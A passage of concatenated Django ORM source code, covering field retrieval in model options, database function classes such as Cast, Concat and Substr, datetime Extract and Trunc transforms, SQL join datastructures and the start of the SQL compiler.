            raise TypeError("Invalid argument for include_parents: %s" % (include_parents,))
        # This helper function is used to allow recursion in ``get_fields()``
        # implementation and to provide a fast way for Django's internals to
        # access specific subsets of fields.

        # We must keep track of which models we have already seen. Otherwise we
        # could include the same field multiple times from different models.
        topmost_call = False
        if seen_models is None:
            seen_models = set()
            topmost_call = True
        seen_models.add(self.model)

        # Creates a cache key composed of all arguments
        cache_key = (forward, reverse, include_parents, include_hidden, topmost_call)

        try:
            # In order to avoid list manipulation. Always return a shallow copy
            # of the results.
            return self._get_fields_cache[cache_key]
        except KeyError:
            pass

        fields = []
        # Recursively call _get_fields() on each parent, with the same
        # options provided in this call.
        if include_parents is not False:
            for parent in self.parents:
                # In diamond inheritance it is possible that we see the same
                # model from two different routes. In that case, avoid adding
                # fields from the same parent again.
                if parent in seen_models:
                    continue
                if (parent._meta.concrete_model != self.concrete_model and
                        include_parents == PROXY_PARENTS):
                    continue
                for obj in parent._meta._get_fields(
                        forward=forward, reverse=reverse, include_parents=include_parents,
                        include_hidden=include_hidden, seen_models=seen_models):
                    if getattr(obj, 'parent_link', False) and obj.model != self.concrete_model:
                        continue
                    fields.append(obj)
        if reverse and not self.proxy:
            # Tree is computed once and cached until the app cache is expired.
            # It is composed of a list of fields pointing to the current model
            # from other models.
            all_fields = self._relation_tree
            for field in all_fields:
                # If hidden fields should be included or the relation is not
                # intentionally hidden, add to the fields dict.
                if include_hidden or not field.remote_field.hidden:
                    fields.append(field.remote_field)

        if forward:
            fields.extend(
                field for field in chain(self.local_fields, self.local_many_to_many)
            )
            # Private fields are recopied to each child model, and they get a
            # different model as field.model in each child. Hence we have to
            # add the private fields separately from the topmost call. If we
            # did this recursively similar to local_fields, we would get field
            # instances with field.model != self.model.
            if topmost_call:
                fields.extend(
                    f for f in self.private_fields
                )

        # In order to avoid list manipulation. Always
        # return a shallow copy of the results
        fields = make_immutable_fields_list("get_fields()", fields)

        # Store result into cache for later access
        self._get_fields_cache[cache_key] = fields
        return fields






"""
Classes that represent database functions.
"""
from django.db.models import Func, Transform, Value, fields


class Cast(Func):
    """
    Coerce an expression to a new field type.
    """
    function = 'CAST'
    template = '%(function)s(%(expressions)s AS %(db_type)s)'

    mysql_types = {
        fields.CharField: 'char',
        fields.IntegerField: 'signed integer',
        fields.FloatField: 'signed',
    }

    def __init__(self, expression, output_field):
        super(Cast, self).__init__(expression, output_field=output_field)

    def as_sql(self, compiler, connection, **extra_context):
        if 'db_type' not in extra_context:
            extra_context['db_type'] = self._output_field.db_type(connection)
        return super(Cast, self).as_sql(compiler, connection, **extra_context)

    def as_mysql(self, compiler, connection):
        extra_context = {}
        output_field_class = type(self._output_field)
        if output_field_class in self.mysql_types:
            extra_context['db_type'] = self.mysql_types[output_field_class]
        return self.as_sql(compiler, connection, **extra_context)

    def as_postgresql(self, compiler, connection):
        # CAST would be valid too, but the :: shortcut syntax is more readable.
        return self.as_sql(compiler, connection, template='%(expressions)s::%(db_type)s')


class Coalesce(Func):
    """
    Chooses, from left to right, the first non-null expression and returns it.
    """
    function = 'COALESCE'

    def __init__(self, *expressions, **extra):
        if len(expressions) < 2:
            raise ValueError('Coalesce must take at least two expressions')
        super(Coalesce, self).__init__(*expressions, **extra)

    def as_oracle(self, compiler, connection):
        # we can't mix TextField (NCLOB) and CharField (NVARCHAR), so convert
        # all fields to NCLOB when we expect NCLOB
        if self.output_field.get_internal_type() == 'TextField':
            class ToNCLOB(Func):
                function = 'TO_NCLOB'

            expressions = [
                ToNCLOB(expression) for expression in self.get_source_expressions()]
            clone = self.copy()
            clone.set_source_expressions(expressions)
            return super(Coalesce, clone).as_sql(compiler, connection)
        return self.as_sql(compiler, connection)


class ConcatPair(Func):
    """
    A helper class that concatenates two arguments together. This is used
    by `Concat` because not all backend databases support more than two
    arguments.
    """
    function = 'CONCAT'

    def __init__(self, left, right, **extra):
        super(ConcatPair, self).__init__(left, right, **extra)

    def as_sqlite(self, compiler, connection):
        coalesced = self.coalesce()
        return super(ConcatPair, coalesced).as_sql(
            compiler, connection, template='%(expressions)s', arg_joiner=' || '
        )

    def as_mysql(self, compiler, connection):
        # Use CONCAT_WS with an empty separator so that NULLs are ignored.
        return super(ConcatPair, self).as_sql(
            compiler, connection, function='CONCAT_WS', template="%(function)s('', %(expressions)s)"
        )

    def coalesce(self):
        # null on either side results in null for expression, wrap with coalesce
        c = self.copy()
        expressions = [
            Coalesce(expression, Value('')) for expression in c.get_source_expressions()
        ]
        c.set_source_expressions(expressions)
        return c


class Concat(Func):
    """
    Concatenates text fields together. Backends that result in an entire
    null expression when any arguments are null will wrap each argument in
    coalesce functions to ensure we always get a non-null result.
    """
    function = None
    template = "%(expressions)s"

    def __init__(self, *expressions, **extra):
        if len(expressions) < 2:
            raise ValueError('Concat must take at least two expressions')
        paired = self._paired(expressions)
        super(Concat, self).__init__(paired, **extra)

    def _paired(self, expressions):
        # wrap pairs of expressions in successive concat functions
        # exp = [a, b, c, d]
        # -> ConcatPair(a, ConcatPair(b, ConcatPair(c, d))))
        if len(expressions) == 2:
            return ConcatPair(*expressions)
        return ConcatPair(expressions[0], self._paired(expressions[1:]))


class Greatest(Func):
    """
    Chooses the maximum expression and returns it.

    If any expression is null the return value is database-specific:
    On Postgres, the maximum not-null expression is returned.
    On MySQL, Oracle, and SQLite, if any expression is null, null is returned.
    """
    function = 'GREATEST'

    def __init__(self, *expressions, **extra):
        if len(expressions) < 2:
            raise ValueError('Greatest must take at least two expressions')
        super(Greatest, self).__init__(*expressions, **extra)

    def as_sqlite(self, compiler, connection):
        """Use the MAX function on SQLite."""
        return super(Greatest, self).as_sql(compiler, connection, function='MAX')


class Least(Func):
    """
    Chooses the minimum expression and returns it.

    If any expression is null the return value is database-specific:
    On Postgres, the minimum not-null expression is returned.
    On MySQL, Oracle, and SQLite, if any expression is null, null is returned.
    """
    function = 'LEAST'

    def __init__(self, *expressions, **extra):
        if len(expressions) < 2:
            raise ValueError('Least must take at least two expressions')
        super(Least, self).__init__(*expressions, **extra)

    def as_sqlite(self, compiler, connection):
        """Use the MIN function on SQLite."""
        return super(Least, self).as_sql(compiler, connection, function='MIN')


class Length(Transform):
    """Returns the number of characters in the expression"""
    function = 'LENGTH'
    lookup_name = 'length'

    def __init__(self, expression, **extra):
        output_field = extra.pop('output_field', fields.IntegerField())
        super(Length, self).__init__(expression, output_field=output_field, **extra)

    def as_mysql(self, compiler, connection):
        return super(Length, self).as_sql(compiler, connection, function='CHAR_LENGTH')


class Lower(Transform):
    function = 'LOWER'
    lookup_name = 'lower'


class Now(Func):
    template = 'CURRENT_TIMESTAMP'

    def __init__(self, output_field=None, **extra):
        if output_field is None:
            output_field = fields.DateTimeField()
        super(Now, self).__init__(output_field=output_field, **extra)

    def as_postgresql(self, compiler, connection):
        # Postgres' CURRENT_TIMESTAMP means "the time at the start of the
        # transaction". We use STATEMENT_TIMESTAMP to be cross-compatible with
        # other databases.
        return self.as_sql(compiler, connection, template='STATEMENT_TIMESTAMP()')


class Substr(Func):
    function = 'SUBSTRING'

    def __init__(self, expression, pos, length=None, **extra):
        """
        expression: the name of a field, or an expression returning a string
        pos: an integer > 0, or an expression returning an integer
        length: an optional number of characters to return
        """
        if not hasattr(pos, 'resolve_expression'):
            if pos < 1:
                raise ValueError("'pos' must be greater than 0")
            pos = Value(pos)
        expressions = [expression, pos]
        if length is not None:
            if not hasattr(length, 'resolve_expression'):
                length = Value(length)
            expressions.append(length)
        super(Substr, self).__init__(*expressions, **extra)

    def as_sqlite(self, compiler, connection):
        return super(Substr, self).as_sql(compiler, connection, function='SUBSTR')

    def as_oracle(self, compiler, connection):
        return super(Substr, self).as_sql(compiler, connection, function='SUBSTR')


class Upper(Transform):
    function = 'UPPER'
    lookup_name = 'upper'






from .base import (
    Cast, Coalesce, Concat, ConcatPair, Greatest, Least, Length, Lower, Now,
    Substr, Upper,
)
from .datetime import (
    Extract, ExtractDay, ExtractHour, ExtractMinute, ExtractMonth,
    ExtractSecond, ExtractWeekDay, ExtractYear, Trunc, TruncDate, TruncDay,
    TruncHour, TruncMinute, TruncMonth, TruncSecond, TruncTime, TruncYear,
)

__all__ = [
    # base
    'Cast', 'Coalesce', 'Concat', 'ConcatPair', 'Greatest', 'Least', 'Length',
    'Lower', 'Now', 'Substr', 'Upper',
    # datetime
    'Extract', 'ExtractDay', 'ExtractHour', 'ExtractMinute', 'ExtractMonth',
    'ExtractSecond', 'ExtractWeekDay', 'ExtractYear',
    'Trunc', 'TruncDate', 'TruncDay', 'TruncHour', 'TruncMinute', 'TruncMonth',
    'TruncSecond', 'TruncTime', 'TruncYear',
]






from __future__ import absolute_import

from datetime import datetime

from django.conf import settings
from django.db.models import (
    DateField, DateTimeField, IntegerField, TimeField, Transform,
)
from django.db.models.lookups import (
    YearExact, YearGt, YearGte, YearLt, YearLte,
)
from django.utils import timezone
from django.utils.functional import cached_property


class TimezoneMixin(object):
    tzinfo = None

    def get_tzname(self):
        # Timezone conversions must happen to the input datetime *before*
        # applying a function. 2015-12-31 23:00:00 -02:00 is stored in the
        # database as 2016-01-01 01:00:00 +00:00. Any results should be
        # based on the input datetime not the stored datetime.
        tzname = None
        if settings.USE_TZ:
            if self.tzinfo is None:
                tzname = timezone.get_current_timezone_name()
            else:
                tzname = timezone._get_timezone_name(self.tzinfo)
        return tzname


class Extract(TimezoneMixin, Transform):
    lookup_name = None

    def __init__(self, expression, lookup_name=None, tzinfo=None, **extra):
        if self.lookup_name is None:
            self.lookup_name = lookup_name
        if self.lookup_name is None:
            raise ValueError('lookup_name must be provided')
        self.tzinfo = tzinfo
        super(Extract, self).__init__(expression, **extra)

    def as_sql(self, compiler, connection):
        sql, params = compiler.compile(self.lhs)
        lhs_output_field = self.lhs.output_field
        if isinstance(lhs_output_field, DateTimeField):
            tzname = self.get_tzname()
            sql, tz_params = connection.ops.datetime_extract_sql(self.lookup_name, sql, tzname)
            params.extend(tz_params)
        elif isinstance(lhs_output_field, DateField):
            sql = connection.ops.date_extract_sql(self.lookup_name, sql)
        elif isinstance(lhs_output_field, TimeField):
            sql = connection.ops.time_extract_sql(self.lookup_name, sql)
        else:
            # resolve_expression has already validated the output_field so this
            # assert should never be hit.
            assert False, "Tried to Extract from an invalid type."
        return sql, params

    def resolve_expression(self, query=None, allow_joins=True, reuse=None, summarize=False, for_save=False):
        copy = super(Extract, self).resolve_expression(query, allow_joins, reuse, summarize, for_save)
        field = copy.lhs.output_field
        if not isinstance(field, (DateField, DateTimeField, TimeField)):
            raise ValueError('Extract input expression must be DateField, DateTimeField, or TimeField.')
        # Passing dates to functions expecting datetimes is most likely a mistake.
        if type(field) == DateField and copy.lookup_name in ('hour', 'minute', 'second'):
            raise ValueError(
                "Cannot extract time component '%s' from DateField '%s'. " % (copy.lookup_name, field.name)
            )
        return copy

    @cached_property
    def output_field(self):
        return IntegerField()


class ExtractYear(Extract):
    lookup_name = 'year'


class ExtractMonth(Extract):
    lookup_name = 'month'


class ExtractDay(Extract):
    lookup_name = 'day'


class ExtractWeekDay(Extract):
    """
    Return Sunday=1 through Saturday=7.

    To replicate this in Python: (mydatetime.isoweekday() % 7) + 1
    """
    lookup_name = 'week_day'


class ExtractHour(Extract):
    lookup_name = 'hour'


class ExtractMinute(Extract):
    lookup_name = 'minute'


class ExtractSecond(Extract):
    lookup_name = 'second'


DateField.register_lookup(ExtractYear)
DateField.register_lookup(ExtractMonth)
DateField.register_lookup(ExtractDay)
DateField.register_lookup(ExtractWeekDay)

TimeField.register_lookup(ExtractHour)
TimeField.register_lookup(ExtractMinute)
TimeField.register_lookup(ExtractSecond)

DateTimeField.register_lookup(ExtractYear)
DateTimeField.register_lookup(ExtractMonth)
DateTimeField.register_lookup(ExtractDay)
DateTimeField.register_lookup(ExtractWeekDay)
DateTimeField.register_lookup(ExtractHour)
DateTimeField.register_lookup(ExtractMinute)
DateTimeField.register_lookup(ExtractSecond)

ExtractYear.register_lookup(YearExact)
ExtractYear.register_lookup(YearGt)
ExtractYear.register_lookup(YearGte)
ExtractYear.register_lookup(YearLt)
ExtractYear.register_lookup(YearLte)


class TruncBase(TimezoneMixin, Transform):
    arity = 1
    kind = None
    tzinfo = None

    def __init__(self, expression, output_field=None, tzinfo=None, **extra):
        self.tzinfo = tzinfo
        super(TruncBase, self).__init__(expression, output_field=output_field, **extra)

    def as_sql(self, compiler, connection):
        inner_sql, inner_params = compiler.compile(self.lhs)
        # Escape any params because trunc_sql will format the string.
        inner_sql = inner_sql.replace('%s', '%%s')
        if isinstance(self.output_field, DateTimeField):
            tzname = self.get_tzname()
            sql, params = connection.ops.datetime_trunc_sql(self.kind, inner_sql, tzname)
        elif isinstance(self.output_field, DateField):
            sql = connection.ops.date_trunc_sql(self.kind, inner_sql)
            params = []
        elif isinstance(self.output_field, TimeField):
            sql = connection.ops.time_trunc_sql(self.kind, inner_sql)
            params = []
        else:
            raise ValueError('Trunc only valid on DateField, TimeField, or DateTimeField.')
        return sql, inner_params + params

    def resolve_expression(self, query=None, allow_joins=True, reuse=None, summarize=False, for_save=False):
        copy = super(TruncBase, self).resolve_expression(query, allow_joins, reuse, summarize, for_save)
        field = copy.lhs.output_field
        # DateTimeField is a subclass of DateField so this works for both.
        assert isinstance(field, (DateField, TimeField)), (
            "%r isn't a DateField, TimeField, or DateTimeField." % field.name
        )
        # If self.output_field was None, then accessing the field will trigger
        # the resolver to assign it to self.lhs.output_field.
        if not isinstance(copy.output_field, (DateField, DateTimeField, TimeField)):
            raise ValueError('output_field must be either DateField, TimeField, or DateTimeField')
        # Passing dates or times to functions expecting datetimes is most
        # likely a mistake.
        output_field = copy.output_field
        explicit_output_field = field.__class__ != copy.output_field.__class__
        if type(field) == DateField and (
                isinstance(output_field, DateTimeField) or copy.kind in ('hour', 'minute', 'second', 'time')):
            raise ValueError("Cannot truncate DateField '%s' to %s. " % (
                field.name, output_field.__class__.__name__ if explicit_output_field else 'DateTimeField'
            ))
        elif isinstance(field, TimeField) and (
                isinstance(output_field, DateTimeField) or copy.kind in ('year', 'month', 'day', 'date')):
            raise ValueError("Cannot truncate TimeField '%s' to %s. " % (
                field.name, output_field.__class__.__name__ if explicit_output_field else 'DateTimeField'
            ))
        return copy

    def convert_value(self, value, expression, connection, context):
        if isinstance(self.output_field, DateTimeField):
            if settings.USE_TZ:
                if value is None:
                    raise ValueError(
                        "Database returned an invalid datetime value. "
                        "Are time zone definitions for your database and pytz installed?"
                    )
                value = value.replace(tzinfo=None)
                value = timezone.make_aware(value, self.tzinfo)
        elif isinstance(value, datetime):
            if isinstance(self.output_field, DateField):
                value = value.date()
            elif isinstance(self.output_field, TimeField):
                value = value.time()
        return value


class Trunc(TruncBase):

    def __init__(self, expression, kind, output_field=None, tzinfo=None, **extra):
        self.kind = kind
        super(Trunc, self).__init__(expression, output_field=output_field, tzinfo=tzinfo, **extra)


class TruncYear(TruncBase):
    kind = 'year'


class TruncMonth(TruncBase):
    kind = 'month'


class TruncDay(TruncBase):
    kind = 'day'


class TruncDate(TruncBase):
    kind = 'date'
    lookup_name = 'date'

    @cached_property
    def output_field(self):
        return DateField()

    def as_sql(self, compiler, connection):
        # Cast to date rather than truncate to date.
        lhs, lhs_params = compiler.compile(self.lhs)
        tzname = timezone.get_current_timezone_name() if settings.USE_TZ else None
        sql, tz_params = connection.ops.datetime_cast_date_sql(lhs, tzname)
        lhs_params.extend(tz_params)
        return sql, lhs_params


class TruncTime(TruncBase):
    kind = 'time'
    lookup_name = 'time'

    @cached_property
    def output_field(self):
        return TimeField()

    def as_sql(self, compiler, connection):
        # Cast to date rather than truncate to date.
        lhs, lhs_params = compiler.compile(self.lhs)
        tzname = timezone.get_current_timezone_name() if settings.USE_TZ else None
        sql, tz_params = connection.ops.datetime_cast_time_sql(lhs, tzname)
        lhs_params.extend(tz_params)
        return sql, lhs_params


class TruncHour(TruncBase):
    kind = 'hour'


class TruncMinute(TruncBase):
    kind = 'minute'


class TruncSecond(TruncBase):
    kind = 'second'


DateTimeField.register_lookup(TruncDate)
DateTimeField.register_lookup(TruncTime)






"""
Useful auxiliary data structures for query construction. Not useful outside
the SQL domain.
"""
# for backwards-compatibility in Django 1.11
from django.core.exceptions import EmptyResultSet  # NOQA: F401
from django.db.models.sql.constants import INNER, LOUTER


class MultiJoin(Exception):
    """
    Used by join construction code to indicate the point at which a
    multi-valued join was attempted (if the caller wants to treat that
    exceptionally).
    """
    def __init__(self, names_pos, path_with_names):
        self.level = names_pos
        # The path travelled, this includes the path to the multijoin.
        self.names_with_path = path_with_names


class Empty(object):
    pass


class Join(object):
    """
    Used by sql.Query and sql.SQLCompiler to generate JOIN clauses into the
    FROM entry. For example, the SQL generated could be
        LEFT OUTER JOIN "sometable" T1 ON ("othertable"."sometable_id" = "sometable"."id")

    This class is primarily used in Query.alias_map. All entries in alias_map
    must be Join compatible by providing the following attributes and methods:
        - table_name (string)
        - table_alias (possible alias for the table, can be None)
        - join_type (can be None for those entries that aren't joined from
          anything)
        - parent_alias (which table is this join's parent, can be None similarly
          to join_type)
        - as_sql()
        - relabeled_clone()
    """
    def __init__(self, table_name, parent_alias, table_alias, join_type,
                 join_field, nullable):
        # Join table
        self.table_name = table_name
        self.parent_alias = parent_alias
        # Note: table_alias is not necessarily known at instantiation time.
        self.table_alias = table_alias
        # LOUTER or INNER
        self.join_type = join_type
        # A list of 2-tuples to use in the ON clause of the JOIN.
        # Each 2-tuple will create one join condition in the ON clause.
        self.join_cols = join_field.get_joining_columns()
        # Along which field (or ForeignObjectRel in the reverse join case)
        self.join_field = join_field
        # Is this join nullabled?
        self.nullable = nullable

    def as_sql(self, compiler, connection):
        """
        Generates the full
           LEFT OUTER JOIN sometable ON sometable.somecol = othertable.othercol, params
        clause for this join.
        """
        join_conditions = []
        params = []
        qn = compiler.quote_name_unless_alias
        qn2 = connection.ops.quote_name

        # Add a join condition for each pair of joining columns.
        for index, (lhs_col, rhs_col) in enumerate(self.join_cols):
            join_conditions.append('%s.%s = %s.%s' % (
                qn(self.parent_alias),
                qn2(lhs_col),
                qn(self.table_alias),
                qn2(rhs_col),
            ))

        # Add a single condition inside parentheses for whatever
        # get_extra_restriction() returns.
        extra_cond = self.join_field.get_extra_restriction(
            compiler.query.where_class, self.table_alias, self.parent_alias)
        if extra_cond:
            extra_sql, extra_params = compiler.compile(extra_cond)
            join_conditions.append('(%s)' % extra_sql)
            params.extend(extra_params)

        if not join_conditions:
            # This might be a rel on the other end of an actual declared field.
            declared_field = getattr(self.join_field, 'field', self.join_field)
            raise ValueError(
                "Join generated an empty ON clause. %s did not yield either "
                "joining columns or extra restrictions." % declared_field.__class__
            )
        on_clause_sql = ' AND '.join(join_conditions)
        alias_str = '' if self.table_alias == self.table_name else (' %s' % self.table_alias)
        sql = '%s %s%s ON (%s)' % (self.join_type, qn(self.table_name), alias_str, on_clause_sql)
        return sql, params

    def relabeled_clone(self, change_map):
        new_parent_alias = change_map.get(self.parent_alias, self.parent_alias)
        new_table_alias = change_map.get(self.table_alias, self.table_alias)
        return self.__class__(
            self.table_name, new_parent_alias, new_table_alias, self.join_type,
            self.join_field, self.nullable)

    def __eq__(self, other):
        if isinstance(other, self.__class__):
            return (
                self.table_name == other.table_name and
                self.parent_alias == other.parent_alias and
                self.join_field == other.join_field
            )
        return False

    def demote(self):
        new = self.relabeled_clone({})
        new.join_type = INNER
        return new

    def promote(self):
        new = self.relabeled_clone({})
        new.join_type = LOUTER
        return new


class BaseTable(object):
    """
    The BaseTable class is used for base table references in FROM clause. For
    example, the SQL "foo" in
        SELECT * FROM "foo" WHERE somecond
    could be generated by this class.
    """
    join_type = None
    parent_alias = None

    def __init__(self, table_name, alias):
        self.table_name = table_name
        self.table_alias = alias

    def as_sql(self, compiler, connection):
        alias_str = '' if self.table_alias == self.table_name else (' %s' % self.table_alias)
        base_sql = compiler.quote_name_unless_alias(self.table_name)
        return base_sql + alias_str, []

    def relabeled_clone(self, change_map):
        return self.__class__(self.table_name, change_map.get(self.table_alias, self.table_alias))






import re
from itertools import chain

from django.core.exceptions import EmptyResultSet, FieldError
from django.db.models.constants import LOOKUP_SEP
from django.db.models.expressions import OrderBy, Random, RawSQL, Ref
from django.db.models.query_utils import QueryWrapper, select_related_descend
from django.db.models.sql.constants import (
    CURSOR, GET_ITERATOR_CHUNK_SIZE, MULTI, NO_RESULTS, ORDER_DIR, SINGLE,
)
from django.db.models.sql.query import Query, get_order_dir
from django.db.transaction import TransactionManagementError
from django.db.utils import DatabaseError
from django.utils.six.moves import zip


class SQLCompiler(object):
    def __init__(self, query, connection, using):
        self.query = query
        self.connection = connection
        self.using = using
        self.quote_cache = {'*': '*'}
        # The select, klass_info, and annotations are needed by QuerySet.iterator()
        # these are set as a side-effect of executing the query. Note that we calculate
        # separately a list of extra select columns needed for grammatical correctness
        # of the query, but these columns are not included in self.select.
        self.select = None
        self.annotation_col_map = None
        self.klass_info = None
        self.ordering_parts = re.compile(r'(.*)\s(ASC|DESC)(.*)')
        self.subquery = False

    def setup_query(self):
        if all(self.query.alias_refcount[a] == 0 for a in self.query.tables):
            self.query.get_initial_alias()
        self.select, self.klass_info, self.annotation_col_map = self.get_select()
        self.col_count = len(self.select)

    def pre_sql_setup(self):
        """
        Does any necessary class setup immediately prior to producing SQL. This
        is for things that can't necessarily be done in __init__ because we
        might not have all the pieces in place at that time.
        """
        self.setup_query()
        order_by = self.get_order_by()
        self.where, self.having = self.query.where.split_having()
        extra_select = self.get_extra_select(order_by, self.select)
        group_by = self.get_group_by(self.select + extra_select, order_by)
        return extra_select, order_by, group_by

    def get_group_by(self, select, order_by):
        """
        Returns a list of 2-tuples of form (sql, params).

        The logic of what exactly the GROUP BY clause contains is hard
        to describe in other words than "if it passes the test suite,
        then it is correct".
        """
        # Some examples:
        #     SomeModel.objects.annotate(Count('somecol'))
        #     GROUP BY: all fields of the model
        #
        #    SomeModel.objects.values('name').annotate(Count('somecol'))
        #    GROUP BY: name
        #
        #    SomeModel.objects.annotate(Count('somecol')).values('name')
        #    GROUP BY: all cols of the model
        #
        #    SomeModel.objects.values('name', 'pk').annotate(Count('somecol')).values('pk')
        #    GROUP BY: name, pk
        #
        #    SomeModel.objects.values('name').annotate(Count('somecol')).values('pk')
        #    GROUP BY: name, pk
        #
        # In fact, the self.query.group_by is the minimal set to GROUP BY. It
        # can't be ever restricted to a smaller set, but additional columns in
        # HAVING, ORDER BY, and SELECT clauses are added to it. Unfortunately
        # the end result is that it is impossible to force the query to have
        # a chosen GROUP BY clause - you can almost do this by using the form:
        #     .values(*wanted_cols).annotate(AnAggregate())
        # but any later annotations, extra selects, values calls that
        # refer some column outside of the wanted_cols, order_by, or even
        # filter calls can alter the GROUP BY clause.

        # The query.group_by is either None (no GROUP BY at all), True
        # (group by select fields), or a list of expressions to be added
        # to the group by.
        if self.query.group_by is None:
            return []
        expressions = []
        if self.query.group_by is not True:
            # If the group by is set to a list (by .values() call most likely),
            # then we need to add everything in it to the GROUP BY clause.
            # Backwards compatibility hack for setting query.group_by. Remove
            # when  we have public API way of forcing the GROUP BY clause.
            # Converts string references to expressions.
            for expr in self.query.group_by:
                if not hasattr(expr, 'as_sql'):
                    expressions.append(self.query.resolve_ref(expr))
                else:
                    expressions.append(expr)
        # Note that even if the group_by is set, it is only the minimal
        # set to group by. So, we need to add cols in select, order_by, and
        # having into the select in any case.
        for expr, _, _ in select:
            cols = expr.get_group_by_cols()
            for col in cols:
                expressions.append(col)
        for expr, (sql, params, is_ref) in order_by:
            if expr.contains_aggregate:
                continue
            # We can skip References to select clause, as all expressions in
            # the select clause are already part of the group by.
            if is_ref:
                continue
            expressions.extend(expr.get_source_expressions())
        having_group_by = self.having.get_group_by_cols() if self.having else ()
        for expr in having_group_by:
            expressions.append(expr)
        result = []
        seen = set()
        expressions = self.collapse_group_by(expressions, having_group_by)

        for expr in expressions:
            sql, params = self.compile(expr)
            if (sql, tuple(params)) not in seen:
                result.append((sql, params))
                seen.add((sql, tuple(params)))
        return result

    def collapse_group_by(self, expressions, having):
        # If the DB can group by primary key, then group by the primary key of
        # query's main model. Note that for PostgreSQL the GROUP BY clause must
        # include the primary key of every table, but for MySQL it is enough to
        # have the main table's primary key.
        if self.connection.features.allows_group_by_pk:
            # The logic here is: if the main model's primary key is in the
            # query, then set new_expressions to that field. If that happens,
            # then also add having expressions to group by.
            pk = None
            for expr in expressions:
                # Is this a reference to query's base table primary key? If the
                # expression isn't a Col-like, then skip the expression.
                if (getattr(expr, 'target', None) == self.query.model._meta.pk and
                        getattr(expr, 'alias', None) == self.query.tables[0]):
                    pk = expr
                    break
            if pk:
                # MySQLism: Columns in HAVING clause must be added to the GROUP BY.
                expressions = [pk] + [expr for expr in expressions if expr in having]
        elif self.connection.features.allows_group_by_selected_pks:
            # Filter out all expressions associated with a table's primary key
            # present in the grouped columns. This is done by identifying all
            # tables that have their primary key included in the grouped
            # columns and removing non-primary key columns referring to them.
            pks = {expr for expr in expressions if hasattr(expr, 'target') and expr.target.primary_key}
            aliases = {expr.alias for expr in pks}
            expressions = [
                expr for expr in expressions if expr in pks or getattr(expr, 'alias', None) not in aliases
            ]
        return expressions

    def get_select(self):
        """
        Returns three values:
        - a list of 3-tuples of (expression, (sql, params), alias)
        - a klass_info structure,
        - a dictionary of annotations

        The (sql, params) is what the expression will produce, and alias is the
        "AS alias" for the column (possibly None).

        The klass_info structure contains the following information:
        - Which model to instantiate
        - Which columns for that model are present in the query (by
          position of the select clause).
        - related_klass_infos: [f, klass_info] to descent into

        The annotations is a dictionary of {'attname': column position} values.
        """
        select = []
        klass_info = None
        annotations = {}
        select_idx = 0
        for alias, (sql, params) in self.query.extra_select.items():
            annotations[alias] = select_idx
            select.append((RawSQL(sql, params), alias))
            select_idx += 1
        assert not (self.query.select and self.query.default_cols)
        if self.query.default_cols:
            select_list = []
            for c in self.get_default_columns():
                select_list.append(select_idx)
                select.append((c, None))
                select_idx += 1
            klass_info = {
                'model': self.query.model,
                'select_fields': select_list,
            }
        # self.query.select is a special case. These columns never go to
        # any model.
        for col in self.query.select:
            select.append((col, None))
            select_idx += 1
        for alias, annotation in self.query.annotation_select.items():
            annotations[alias] = select_idx
            select.append((annotation, alias))
            select_idx += 1

        if self.query.select_related:
            related_klass_infos = self.get_related_selections(select)
            klass_info['related_klass_infos'] = related_klass_infos

            def get_select_from_parent(klass_info):
                for ki in klass_info['related_klass_infos']:
                    if ki['from_parent']:
                        ki['select_fields'] = (klass_info['select_fields'] +
                                               ki['select_fields'])
                    get_select_from_parent(ki)
            get_select_from_parent(klass_info)

        ret = []
        for col, alias in select:
            try:
                sql, params = self.compile(col, select_format=True)
            except EmptyResultSet:
                # Select a predicate that's always False.
                sql, params = '0', ()
            ret.append((col, (sql, params), alias))
        return ret, klass_info, annotations

    def get_order_by(self):
        """
        Returns a list of 2-tuples of form (expr, (sql, params, is_ref)) for the
        ORDER BY clause.

        The order_by clause can alter the select clause (for example it
        can add aliases to clauses that do not yet have one, or it can
        add totally new select clauses).
        """
        if self.query.extra_order_by:
            ordering = self.query.extra_order_by
        elif not self.query.default_ordering:
            ordering = self.query.order_by
        else:
            ordering = (self.query.order_by or self.query.get_meta().ordering or [])
        if self.query.standard_ordering:
            asc, desc = ORDER_DIR['ASC']
        else:
            asc, desc = ORDER_DIR['DESC']

        order_by = []
        for pos, field in enumerate(ordering):
            if hasattr(field, 'resolve_expression'):
                if not isinstance(field, OrderBy):
                    field = field.asc()
                if not self.query.standard_ordering:
                    field.reverse_ordering()
                order_by.append((field, False))
                continue
            if field == '?':  # random
                order_by.append((OrderBy(Random()), False))
                continue

            col, order = get_order_dir(field, asc)
            descending = True if order == 'DESC' else False

            if col in self.query.annotation_select:
                # Reference to expression in SELECT clause
                order_by.append((
                    OrderBy(Ref(col, self.query.annotation_select[col]), descending=descending),
                    True))
                continue
            if col in self.query.annotations:
                # References to an expression which is masked out of the SELECT clause
                order_by.append((
                    OrderBy(self.query.annotations[col], descending=descending),
                    False))
                continue

            if '.' in field:
                # This came in through an extra(order_by=...) addition. Pass it
                # on verbatim.
                table, col = col.split('.', 1)
                order_by.append((
                    OrderBy(
                        RawSQL('%s.%s' % (self.quote_name_unless_alias(table), col), []),
                        descending=descending
                    ), False))
                continue

            if not self.query._extra or col not in self.query._extra:
                # 'col' is of the form 'field' or 'field1__field2' or
                # '-field1__field2__field', etc.
                order_by.extend(self.find_ordering_name(
                    field, self.query.get_meta(), default_order=asc))
            else:
                if col not in self.query.extra_select:
                    order_by.append((
                        OrderBy(RawSQL(*self.query.extra[col]), descending=descending),
                        False))
                else:
                    order_by.append((
                        OrderBy(Ref(col, RawSQL(*self.query.extra[col])), descending=descending),
                        True))
        result = []
        seen = set()

        for expr, is_ref in order_by:
            resolved = expr.resolve_expression(
                self.query, allow_joins=True, reuse=None)
            sql, params = self.compile(resolved)
            # Don't add the same column twice, but the order direction is
            # not taken into account so we strip it. When this entire method
            # is refactored into expressions, then we can check each part as we
            # generate it.
            without_ordering = self.ordering_parts.search(sql).group(1)
            if (without_ordering, tuple(params)) in seen:
                continue
            seen.add((without_ordering, tuple(params)))
            result.append((resolved, (sql, params, is_ref)))
        return result

    def get_extra_select(self, order_by, select):
        extra_select = []
        select_sql = [t[1] for t in select]
        if self.query.distinct and not self.query.distinct_fields:
            for expr, (sql, params, is_ref) in order_by:
                without_ordering = self.ordering_parts.search(sql).group(1)
                if not is_ref and (without_ordering, params) not in select_sql:
                    extra_select.append((expr, (without_ordering, params), None))
        return extra_select

    def quote_name_unless_alias(self, name):
        """
        A wrapper around connection.ops.quote_name that doesn't quote aliases
        for table names. This avoids problems with some SQL dialects that treat
        quoted strings specially (e.g. PostgreSQL).
        """
        if name in self.quote_cache:
